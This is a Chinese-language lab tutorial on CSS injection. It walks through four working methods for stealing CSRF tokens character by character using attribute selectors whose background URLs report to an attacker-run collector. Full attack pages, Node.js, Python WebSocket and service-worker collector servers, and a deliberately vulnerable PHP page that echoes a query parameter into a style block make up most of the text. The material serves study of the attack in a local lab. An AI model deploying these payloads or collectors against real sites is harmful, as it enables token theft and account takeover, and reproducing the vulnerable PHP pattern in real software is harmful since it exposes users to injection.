四种实现方式"/>
CSS注入的四种实现方式
目录
CSS注入窃取标签属性数据
简单的一个实验：
方法1：js+node.js实现
侧信道攻击
方法2：对比波兰研究院的方案
使用兄弟选择器
方法3：js+websocket实现CSS注入
实验实现：
方法4：window.open结合serviceworker
实验验证：
现代浏览器都已经不允许在CSS中执行JavaScript了，以前的CSS注入可以利用JavaScript协议在url（）、expression（）中执行JavaScript代码从而实现XSS。
但是目前CSS注入在窃取数据方面仍然非常有用的，下面分别来分析一下CSS注入 窃取标签属性数据CSS中可以使用数据选择器，根据不同的属性选择标签。
例：
<style>
p[a="abc"]{color :red ;}
</style>
<p a="abc">hello world</p>数据选择器还可以匹配一些特征，比如xxx开头或者xxx结尾等。
CSS注入窃取标签属性数据
利用上面的性质我们可以看出来窃取页面标签属性中的数据，比如下面当csrfToken以某个字母开头时，可以通过url（）通知攻击者，从而窃取csrfToken的第一位的值：
简单的一个实验：
在CSSinject目录下面新建
（1）css.html：
<!DOCTYPE html>
<html lang="en">
<head><meta charset="UTF-8"><meta http-equiv="X-UA-Compatible" content="IE=edge"><meta name="viewport" content="width=device-width, initial-scale=1.0"><title>CSS</title><link rel="stylesheet" href="./css.css"><!-- 这里将css样式引入到hmtl页面中 -->
</head>
<body>
<input type="text" name="csrf" value="abcdef">;
</body>
</html>这里首先引入了css.css样式 ，然后有一个输入，名为csrf，值为abcdef
（2）css.css：
input[name="csrf"][value^="a"] {background: url();
}这里就是通过标签选择器，选择到了name=csrf并且value是以a开头的输入，给它 设置一个背景，背景的URL是www.baidu
（3）测试
这里查看很明显成功的访问了
解决hidden
当然还有个问题，当标签type=hidden时浏览器是不允许我们设置background的，这样就无法触发
url（）请求服务器解决方法之一是利用~CSS的兄弟选择器（必须是同一个父母），选择为后续所
有兄弟节点设置background。
方法1：js+node.js实现
侧信道攻击
（1）css.html
<!DOCTYPE html>
<html lang="en">
<head><meta charset="UTF-8"><meta http-equiv="X-UA-Compatible" content="IE=edge"><meta name="viewport" content="width=device-width, initial-scale=1.0"><title>侧信道攻击</title>
</head>
<style>#frames {visibility: hidden;}
</style>
<body><div id="current"></div><div id="time_to_next"></div><div id="frames"></div>
</body>
<script>vuln_url = '.php?css=';server_receive_token_url = 'http://127.0.0.1:8083/receive/';server_return_token_url = 'http://127.0.0.1:8083/return';chars = "ABCDEFGHIJKLMOPQRSTUVWXYZabcdefghigklimnopqrstuvwxyz1234567890".split("");//md5其实全部都是小写的英文，这里完全可以将这些大写的英文删除掉known = "";function test_char(known, chars) {document.getElementById('frames').innerHTML = "";css = build_css(chars.map(v => known + v));frame = document.createElement('iframe');frame.src = vuln_url + css;frame.style = "visibility:hidden;";document.getElementById("frames").appendChild(frame);
setTimeout(function () {//监听var oReq = new XMLHttpRequest();oReq.addEventListener("load", known_listener);oReq.open("GET", server_return_token_url);oReq.send();}, 1000);}function build_css(values) {//拼接css_payload = "";for (var value in values) {css_payload += "input[value^=\""+ values[value]+ "\"]{background-image:url("+ server_receive_token_url+ values[value]+ ")%3B}";}return css_payload;}function known_listener() {//请求document.getElementById("current").innerHTML = "Current Token:" + this.responseText;if (known != this.responseText) {known = this.responseText;test_char(known, chars);}else {known = this.responseText;alert("CSRF token is :" + known);}}test_char("", chars);
</script>
</html>（2）css.css
input[name="csrf"][value^="0"] {background: url();
}（3）css.php
<?php
$token1=md5($_SERVER['HTTP_USER_AGENT']); //使用头部的一个字段生成了一段md5值
$token2=md5($token1); //这里将token1的值赋值给了token2
?>
<!doctype html><meta charset=utf-8>
<input value=<?=$token1?>>
<script>
var TOKEN="<?=$token2?>";
</script>
<style>
<?=preg_replace('#</style#i','#', $_GET['css'])?>
/* 这里 */
/* 如果遇到了style,并且忽略大小写,将其替换#,防止闭合style标签 */
</style>（4）css.js
首先需要一个服务端，用来存储生成的md5值
var express = require('express');
var app = express();
var path = require('path');
var token = "";
//采用CORS实现跨域，允许被攻击页面向服务器发送请求
app.all("*", function (req, res, next) {//设置允许跨域的域名，*代表允许任意域名跨域res.header("Access-Control-Allow-Origin", "*");res.header("Access-Control-Allow-Methods", 'PUT,POST,GET,DELETE,OPTIONS');res.header("Access-Control-Allow-Credentials", true);next()
})
//处理receive页面请求 --- 接收参数token
app.get('/receive/:token', function (req, res) {token = req.params.token;console.log(token)res.send('ok');
});
//return页面请求，向客户端返回刚获取到的token
app.get('/return', function (req, res) {res.send(token);
});
//返回恶意页面
app.get('/css.html', function (req, res) {res.sendFile(path.join(__dirname, 'css.html'));
})
//配置本地服务器
var server = app.listen(8083, function () {var host = server.address().addressvar port = server.address().portconsole.log("Example app listening at http://%s:%s", host, port)
})（5）测试
首先模拟服务端使用node运行css.js
然后在浏览器中输入www.security/css.html
可以看到成功的爆破出了服务端生成的随机Token
那再看看服务端：
服务端这里也将Token的值逐步的打印了出来
结论：使用iframe将受害页面包含进来，可以对其进行CSS注入。
获取token，token存储位置：服务端创建变量token转发给客户端，并且将token数值打印输出到服务端。
方法2：对比波兰研究院的方案
（1）css.html
<!doctype html>
<meta charset=utf-8>
<script src="./css.js"></script>
<big id=token></big><br>
<iframe id=iframe></iframe>
<script>(async function () {const EXPECTED_TOKEN_LENGTH = 32;const ALPHABET = Array.from("0123456789abcdef");const iframe = document.getElementById('iframe');let extractedToken = '';
while (extractedToken.length < EXPECTED_TOKEN_LENGTH) {clearTokenCookie(); //清空cookiecreateIframeWithCss();extractedToken = await getTokenFromCookie();
document.getElementById('token').textContent = extractedToken;}
function getTokenFromCookie() {return new Promise(resolve => {const interval = setInterval(function () { //一直执行，直到cookie的值取出来const token = Cookies.get('token'); //直接使用cookie获取tokenif (token) {clearInterval(interval);resolve(token);}}, 50);});}
function clearTokenCookie() {Cookies.remove('token');}
function generateCSS() {let css = '';for (let char of ALPHABET) {css += `input[value^="${extractedToken}${char}"] {
background: url(http://127.0.0.01:3000/token/${extractedToken}${char})
}`;}
return css;}function createIframeWithCss() {iframe.src = '.php/?css=' + encodeURIComponent(generateCSS());}
})();
</script>（2）css.js
const express = require('express');
const app = express();
// Serwer ExprssJS domyślnie dodaje nagłówek ETag,
// ale nam nie jest to potrzebne, więc wyłączamy.
app.disable('etag');
const PORT = 3000;
// Obsługa zapytania przyjmującego token jako połączenie
// zwrotne.
app.get('/token/:token', (req, res) => {const { token } = req.params;
// W odpowiedzi po prostu ustawiane jest ciasteczko o nazwie// token i tej samej wartości, która została przekazana w URL-ures.cookie('token', token);console.log(token);res.send('');
});
app.get('/css.js', (req, res) => {res.sendFile('js.cookie.js', {root: './node_modules/js-cookie/src/'});
});
app.get('/css.html', (req, res) => {res.sendFile('index.html', {root: '.'});
});
app.listen(PORT, () => {console.log(`Listening on ${PORT}...`);
})
（3）css.css
input[name="csrf"][value^="0"] {background: url();
}（4）css.php
<?php
$token1=md5($_SERVER['HTTP_USER_AGENT']); //使用头部的一个字段生成了一段md5值
$token2=md5($token1); //这里将token1的值赋值给了token2
?>
<!doctype html><meta charset=utf-8>
<input value=<?=$token1?>>
<script>
var TOKEN="<?=$token2?>";
</script>
<style>
<?=preg_replace('#</style#i','#', $_GET['css'])?>
/* 这里 */
/* 如果遇到了style,并且忽略大小写,将其替换#,防止闭合style标签 */
</style>（5）安装js-cookie库
在VScode中创建一个名为package.json文件，并且将以下内容进行写入
{"name": "css-attack-1","version": "1.0.0","description": "","main": "index.js","dependencies": {"express": "^4.15.5","js-cookie": "^2.1.4"},"devDependencies": {},"author": "","license": "ISC"
}进入CMD命令行，移动到对应目录下：npm install
（6）这时候使用node监控 3000端口
（7）监控完成后，这时候就可以尝试访问www.security/css.html
可以看到，成功的爆出了Token的值
服务端：
注：如果访问不成功可以尝试换一个浏览器再次尝试访问
使用兄弟选择器
这里可以尝试将php中的input中修改类型为hidden，然后再尝试访问就会发现访问失败
<input type="hidden"<?=$token1?>> //修改后
<input type=<?=$token1?>> //原再次访问：
可以看到，这个现在没有了输入框。因此无法爆出Token值
解决办法：使用兄弟元素
css.php文件
<input type="hidden"<?=$token1?>> //原
<input type="text"<?=$token1?>> //增加的css.html文件
测试：
可以看到，成功的拿到了Token
方法3：js+websocket实现CSS注入
实验实现：
（1）websocket服务端
使用paycharm软件
需要进行WebSocketServer导包：
pip install SimpleWebSocketServer我这里因为之前已经导入过了，所以没有下载
（2）服务端配置
from http.server import HTTPServer, BaseHTTPRequestHandler
from threading import Thread
from socketserver import ThreadingMixIn
from SimpleWebSocketServer import SimpleWebSocketServer, WebSocket
PORT_HTTP = 8008
PORT_WS = 8000class RequestHandler(BaseHTTPRequestHandler, WebSocket):def do_GET(self):"""Respond to a GET request."""print("http GET request")self.send_response(200)self.end_headers()ws.sendMessage(self.path)returnclass ThreadedHTTPServer(ThreadingMixIn, HTTPServer):"""Handle requests in a separate thread."""class SimpleEcho(WebSocket):def handleMessage(self):# echo message back to clientprint(self.address, 'new msg')#self.sendMessage(self.data)def handleConnected(self):print(self.address, 'connected, opening http server')global wsws = selfhttpd = ThreadedHTTPServer(("", PORT_HTTP), RequestHandler)server_thread = Thread(target=httpd.serve_forever)server_thread.daemon = Trueserver_thread.start()print('http is on 8000,and ws is on 8008:')def handleClose(self):print(self.address, 'closed')server = SimpleWebSocketServer('', PORT_WS, SimpleEcho)
server.serveforever()
（3）js_websocket.html
<!DOCTYPE html>
<html lang="en">
<head><meta charset="UTF-8"><meta http-equiv="X-UA-Compatible" content="IE=edge"><meta name="viewport" content="width=device-width, initial-scale=1.0"><title>Document</title>
</head>
<body><div id="div"></div><iframe id="leakchar"></iframe>
</body>
<script>const WS = "ws://127.0.0.1:8000";const HTTP = "http://127.0.0.1:8008";const ALPHABET = Array.from("0123456789abcdef");var s = new WebSocket(WS);
s.onopen = function (event) {console.log('connection open');next('');}s.onmessage = function (event) {let token = event.data.match(/\w+/)[0];next(token);}s.onclose = function (event) {console.log('bye');}
function next(token) {if (token.length < 32) {console.log('leaking ' + token + '* ...');document.getElementById('leakchar').src = '.php?css=' + generateCSS(token);} else {console.log('done, lets pwn');changeEmail(token);}}
function generateCSS(token) {let css = '';for (let char of ALPHABET) {css += `input[value^="${token}${char}"] ~*{background: url(http://127.0.0.1:8008/${token}${char})}`;}
return css;}
function changeEmail(token) {var div = document.getElementById("div");div.innerHTML = token;}
</script>
</html>（4）js_websocket.php
<?php
$token1 = md5($_SERVER['HTTP_USER_AGENT']);
$token2 = md5($token1);
var_dump($token2);
?>
<!doctype html><meta charset=utf-8>
<input name="csrf" type=hidden value=<?=$token2 ?>>
<input >
<script>
var TOKEN = "<?=$token2 ?>";
</script>
<style>
/* 正则替换style闭合标签，防止恶意闭合，get方法获取css参数 */
<?=preg_replace('#</style#i', '#', $_GET['css']) ?>
</style>
（5）测试
首先开启pytcharm，运行服务器
然后浏览器尝试访问127.0.0.1/CSSinject/js_websocket.html
浏览器返回：
pytcharm返回：
可以看到成功的拿到了Token
方法4：window.open结合serviceworker
github上下载软件包：
GitHub - dxa4481/cssInjection: Stealing CSRF tokens with CSS injection (without iFrames)
实验验证：
（1）attacker.html
<html>
<body onclick="potatoes(0)">click somewhere to begin attack</body>
<script>(function () {if ('serviceWorker' in navigator) {navigator.serviceWorker.register('./sw.js');}})()//这里注册时加载sw.js，注册后就可以监听到了localStorage.removeItem('csrfToken');var potatoes = function (count) {var csrfToken = localStorage.getItem("csrfToken");if (!csrfToken) { //第二次csrfToken = '';}var css = `#sensitiveForm input[value^='${csrfToken}a'] { background-image: url(http://127.0.0.1/openlab/cssinjection/log.php/${csrfToken}a); } #sensitiveForm input[value^='${csrfToken}b'] { background-image: url(http://127.0.0.1/openlab/cssinjection/log.php/${csrfToken}b); } #sensitiveForm input[value^='${csrfToken}c'] { background-image: url(http://127.0.0.1/openlab/cssinjection/log.php/${csrfToken}c); } #sensitiveForm input[value^='${csrfToken}d'] { background-image: url(http://127.0.0.1/openlab/cssinjection/log.php/${csrfToken}d); } #sensitiveForm input[value^='${csrfToken}e'] { background-image: url(http://127.0.0.1/openlab/cssinjection/log.php/${csrfToken}e); } #sensitiveForm input[value^='${csrfToken}f'] { background-image: url(http://127.0.0.1/openlab/cssinjection/log.php/${csrfToken}f); } #sensitiveForm input[value^='${csrfToken}g'] { background-image: url(http://127.0.0.1/openlab/cssinjection/log.php/${csrfToken}g); } #sensitiveForm input[value^='${csrfToken}h'] { background-image: url(http://127.0.0.1/openlab/cssinjection/log.php/${csrfToken}h); } #sensitiveForm input[value^='${csrfToken}i'] { background-image: url(http://127.0.0.1/openlab/cssinjection/log.php/${csrfToken}i); } #sensitiveForm input[value^='${csrfToken}j'] { background-image: url(http://127.0.0.1/openlab/cssinjection/log.php/${csrfToken}j); } #sensitiveForm input[value^='${csrfToken}k'] { background-image: url(http://127.0.0.1/openlab/cssinjection/log.php/${csrfToken}k); } #sensitiveForm input[value^='${csrfToken}l'] { background-image: url(http://127.0.0.1/openlab/cssinjection/log.php/${csrfToken}l); } #sensitiveForm input[value^='${csrfToken}m'] { background-image: url(http://127.0.0.1/openlab/cssinjection/log.php/${csrfToken}m); } #sensitiveForm input[value^='${csrfToken}n'] { background-image: url(http://127.0.0.1/openlab/cssinjection/log.php/${csrfToken}n); } #sensitiveForm input[value^='${csrfToken}o'] { background-image: url(http://127.0.0.1/openlab/cssinjection/log.php/${csrfToken}o); } #sensitiveForm input[value^='${csrfToken}p'] { background-image: url(http://127.0.0.1/openlab/cssinjection/log.php/${csrfToken}p); } #sensitiveForm input[value^='${csrfToken}q'] { background-image: url(http://127.0.0.1/openlab/cssinjection/log.php/${csrfToken}q); } #sensitiveForm input[value^='${csrfToken}r'] { background-image: url(http://127.0.0.1/openlab/cssinjection/log.php/${csrfToken}r); } #sensitiveForm input[value^='${csrfToken}s'] { background-image: url(http://127.0.0.1/openlab/cssinjection/log.php/${csrfToken}s); } #sensitiveForm input[value^='${csrfToken}t'] { background-image: url(http://127.0.0.1/openlab/cssinjection/log.php/${csrfToken}t); } #sensitiveForm input[value^='${csrfToken}u'] { background-image: url(http://127.0.0.1/openlab/cssinjection/log.php/${csrfToken}u); } #sensitiveForm input[value^='${csrfToken}v'] { background-image: url(http://127.0.0.1/openlab/cssinjection/log.php/${csrfToken}v); } #sensitiveForm input[value^='${csrfToken}w'] { background-image: url(http://127.0.0.1/openlab/cssinjection/log.php/${csrfToken}w); } #sensitiveForm input[value^='${csrfToken}x'] { background-image: url(http://127.0.0.1/openlab/cssinjection/log.php/${csrfToken}x); } #sensitiveForm input[value^='${csrfToken}y'] { background-image: url(http://127.0.0.1/openlab/cssinjection/log.php/${csrfToken}y); } #sensitiveForm input[value^='${csrfToken}z'] { background-image: url(http://127.0.0.1/openlab/cssinjection/log.php/${csrfToken}z); } #sensitiveForm input[value^='${csrfToken}A'] { background-image: url(http://127.0.0.1/openlab/cssinjection/log.php/${csrfToken}A); } #sensitiveForm input[value^='${csrfToken}B'] { background-image: url(http://127.0.0.1/openlab/cssinjection/log.php/${csrfToken}B); } #sensitiveForm input[value^='${csrfToken}C'] { background-image: url(http://127.0.0.1/openlab/cssinjection/log.php/${csrfToken}C); } #sensitiveForm input[value^='${csrfToken}D'] { background-image: url(http://127.0.0.1/openlab/cssinjection/log.php/${csrfToken}D); } #sensitiveForm input[value^='${csrfToken}E'] { background-image: url(http://127.0.0.1/openlab/cssinjection/log.php/${csrfToken}E); } #sensitiveForm input[value^='${csrfToken}F'] { background-image: url(http://127.0.0.1/openlab/cssinjection/log.php/${csrfToken}F); } #sensitiveForm input[value^='${csrfToken}G'] { background-image: url(http://127.0.0.1/openlab/cssinjection/log.php/${csrfToken}G); } #sensitiveForm input[value^='${csrfToken}H'] { background-image: url(http://127.0.0.1/openlab/cssinjection/log.php/${csrfToken}H); } #sensitiveForm input[value^='${csrfToken}I'] { background-image: url(http://127.0.0.1/openlab/cssinjection/log.php/${csrfToken}I); } #sensitiveForm input[value^='${csrfToken}J'] { background-image: url(http://127.0.0.1/openlab/cssinjection/log.php/${csrfToken}J); } #sensitiveForm input[value^='${csrfToken}K'] { background-image: url(http://127.0.0.1/openlab/cssinjection/log.php/${csrfToken}K); } #sensitiveForm input[value^='${csrfToken}L'] { background-image: url(http://127.0.0.1/openlab/cssinjection/log.php/${csrfToken}L); } #sensitiveForm input[value^='${csrfToken}M'] { background-image: url(http://127.0.0.1/openlab/cssinjection/log.php/${csrfToken}M); } #sensitiveForm input[value^='${csrfToken}N'] { background-image: url(http://127.0.0.1/openlab/cssinjection/log.php/${csrfToken}N); } #sensitiveForm input[value^='${csrfToken}O'] { background-image: url(http://127.0.0.1/openlab/cssinjection/log.php/${csrfToken}O); } #sensitiveForm input[value^='${csrfToken}P'] { background-image: url(http://127.0.0.1/openlab/cssinjection/log.php/${csrfToken}P); } #sensitiveForm input[value^='${csrfToken}Q'] { background-image: url(http://127.0.0.1/openlab/cssinjection/log.php/${csrfToken}Q); } #sensitiveForm input[value^='${csrfToken}R'] { background-image: url(http://127.0.0.1/openlab/cssinjection/log.php/${csrfToken}R); } #sensitiveForm input[value^='${csrfToken}S'] { background-image: url(http://127.0.0.1/openlab/cssinjection/log.php/${csrfToken}S); } #sensitiveForm input[value^='${csrfToken}T'] { background-image: url(http://127.0.0.1/openlab/cssinjection/log.php/${csrfToken}T); } #sensitiveForm input[value^='${csrfToken}U'] { background-image: url(http://127.0.0.1/openlab/cssinjection/log.php/${csrfToken}U); } #sensitiveForm input[value^='${csrfToken}V'] { background-image: url(http://127.0.0.1/openlab/cssinjection/log.php/${csrfToken}V); } #sensitiveForm input[value^='${csrfToken}W'] { background-image: url(http://127.0.0.1/openlab/cssinjection/log.php/${csrfToken}W); } #sensitiveForm input[value^='${csrfToken}X'] { background-image: url(http://127.0.0.1/openlab/cssinjection/log.php/${csrfToken}X); } #sensitiveForm input[value^='${csrfToken}Y'] { background-image: url(http://127.0.0.1/openlab/cssinjection/log.php/${csrfToken}Y); } #sensitiveForm input[value^='${csrfToken}Z'] { background-image: url(http://127.0.0.1/openlab/cssinjection/log.php/${csrfToken}Z); } #sensitiveForm input[value^='${csrfToken}0'] { background-image: url(http://127.0.0.1/openlab/cssinjection/log.php/${csrfToken}0); } #sensitiveForm input[value^='${csrfToken}1'] { background-image: url(http://127.0.0.1/openlab/cssinjection/log.php/${csrfToken}1); } #sensitiveForm input[value^='${csrfToken}2'] { background-image: url(http://127.0.0.1/openlab/cssinjection/log.php/${csrfToken}2); } #sensitiveForm input[value^='${csrfToken}3'] { background-image: url(http://127.0.0.1/openlab/cssinjection/log.php/${csrfToken}3); } #sensitiveForm input[value^='${csrfToken}4'] { background-image: url(http://127.0.0.1/openlab/cssinjection/log.php/${csrfToken}4); } #sensitiveForm input[value^='${csrfToken}5'] { background-image: url(http://127.0.0.1/openlab/cssinjection/log.php/${csrfToken}5); } #sensitiveForm input[value^='${csrfToken}6'] { background-image: url(http://127.0.0.1/openlab/cssinjection/log.php/${csrfToken}6); } #sensitiveForm input[value^='${csrfToken}7'] { background-image: url(http://127.0.0.1/openlab/cssinjection/log.php/${csrfToken}7); } #sensitiveForm input[value^='${csrfToken}8'] { background-image: url(http://127.0.0.1/openlab/cssinjection/log.php/${csrfToken}8); } #sensitiveForm input[value^='${csrfToken}9'] { background-image: url(http://127.0.0.1/openlab/cssinjection/log.php/${csrfToken}9); }`var win2 = window.open('http://127.0.0.1/openlab/cssinjection/index.php', 'f', "top=100000,left=100000,menubar=1,resizable=1,width=1,height=1")var win2 = window.open(`http://127.0.0.1/openlab/cssinjection/victim.html?injection=${css}`, 'f', "top=100000,left=100000,menubar=1,resizable=1,width=1,height=1")win2.blur();var newCount = count + 1;if (csrfToken.length == 20) {return null;}setTimeout(function () {potatoes(newCount);}, 2000);}window.addEventListener('storage', function (e) { //监听storage事件if (e.key == "csrfToken") {document.getElementById("CSRFToken").innerHTML = e.newValue;}});
</script>
</br>
The CSRF token is:
<div id="CSRFToken"></div>
</html>（2）mockingTheBackend.js
navigator.serviceWorker.addEventListener("message", receiveMessage);
function receiveMessage(event) {console.log("got message");localStorage.setItem("csrfToken", event.data);
}（3）sw.js
self.addEventListener('fetch', function (event) { //监听fetch事件就是var urlLogged = event.request.url; //监听到请求if (urlLogged.indexOf("/log.php/") >= 0 && urlLogged.indexOf("victim") == -1) {//这里这里是否有log.php并且是否有请求页面var splitted = urlLogged.split("/log.php/");var csrfToken = splitted[splitted.length - 1];console.log(csrfToken);self.clients.matchAll().then(all => all.map(client => client.postMessage(csrfToken))); //}
});（4）victim.html
<html>
<form action="http://127.0.0.1" id="sensitiveForm"><input id="secret" name="secret" value="dJ7cwON4BMyQi3Nrq26i">
</form>
<script>var fragment = decodeURIComponent(window.location.href.split("?injection=")[1]);var htmlEncode = fragment.replace(/</g, "<").replace(/>/g, ">");document.write("<style>" + htmlEncode + "</style>");
</script>
<script src="./mockingTheBackend.js"></script>
</html>（5）测试
未点击前：
点击后:
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